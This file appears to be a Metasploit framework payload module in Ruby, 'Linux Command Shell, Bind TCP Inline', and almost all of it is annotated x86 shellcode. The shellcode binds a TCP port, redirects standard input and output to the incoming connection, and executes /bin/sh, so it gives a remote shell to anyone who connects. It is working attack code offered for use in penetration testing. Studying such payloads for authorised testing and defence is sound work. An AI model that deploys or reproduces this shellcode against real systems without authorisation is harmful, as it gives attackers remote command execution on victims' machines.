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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 78
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Linux Command Shell, Bind TCP Inline',
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      'Description'   => 'Listen for a connection and spawn a command shell',
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      'Author'        => 'Ramon de C Valle',
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'linux',
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      'Arch'          => ARCH_X86,
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      'Handler'       => Msf::Handler::BindTcp,
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      'Session'       => Msf::Sessions::CommandShellUnix,
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      'Payload'       =>
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        {
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          'Offsets' =>
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            {
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              'LPORT'    => [ 21, 'n' ],
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            },
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          # TODO: Payload source needs serious cleanup. This payload was
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          # originally generated from
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          # external/source/unixasm/lin-x86-bndsockcode.s which supposedly
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          # worked when it was initially committed. Nevertheless, it was
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          # calling bind(2) with insane parameters, which ended up erroring out
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          # and causing execution to fall off the end of the shellcode,
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          # bursting into flames. See #7216, #7224
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          'Payload' =>
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            "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
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            "\xf7\xe3"             + #   mull    %ebx                       #
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            "\x53"                 + #   pushl   %ebx                       #
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            "\x43"                 + #   incl    %ebx                       #
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            "\x53"                 + #   pushl   %ebx                       #
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            "\x6a\x02"             + #   pushl   $0x02                      #
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            "\x89\xe1"             + #   movl    %esp,%ecx                  #
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            "\xb0\x66"             + #   movb    $0x66,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x5b"                 + #   popl    %ebx                       #
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            "\x5e"                 + #   popl    %esi                       #
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            "\x52"                 + #   pushl   %edx                       #
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            "\x68\x02\x00\x04\xd2" + #   pushl   $0xd2040200                #
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            "\x6a\x10"             + #   pushl   $0x10                      #
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            "\x51"                 + #   pushl   %ecx                       #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x89\xe1"             + #   movl    %esp,%ecx                  #
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            "\x6a\x66"             + #   pushl   $0x66                      #
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            "\x58"                 + #   popl    %eax                       #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x89\x41\x04"         + #   movl    %eax,0x04(%ecx)            #
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            "\xb3\x04"             + #   movb    $0x04,%bl                  #
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            "\xb0\x66"             + #   movb    $0x66,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x43"                 + #   incl    %ebx                       #
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            "\xb0\x66"             + #   movb    $0x66,%al                  #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x93"                 + #   xchgl   %eax,%ebx                  #
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            "\x59"                 + #   popl    %ecx                       #
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            "\x6a\x3f"             + #   pushl   $0x3f                      #
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            "\x58"                 + #   popl    %eax                       #
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            "\xcd\x80"             + #   int     $0x80                      #
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            "\x49"                 + #   decl    %ecx                       #
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            "\x79\xf8"             + #   jns     <bndsockcode+50>           #
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            "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
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            "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
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            "\x89\xe3"             + #   movl    %esp,%ebx                  #
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            "\x50"                 + #   pushl   %eax                       #
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            "\x53"                 + #   pushl   %ebx                       #
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            "\x89\xe1"             + #   movl    %esp,%ecx                  #
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            "\xb0\x0b"             + #   movb    $0x0b,%al                  #
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            "\xcd\x80"               #   int     $0x80                      #
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        }
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      ))
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  end
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end
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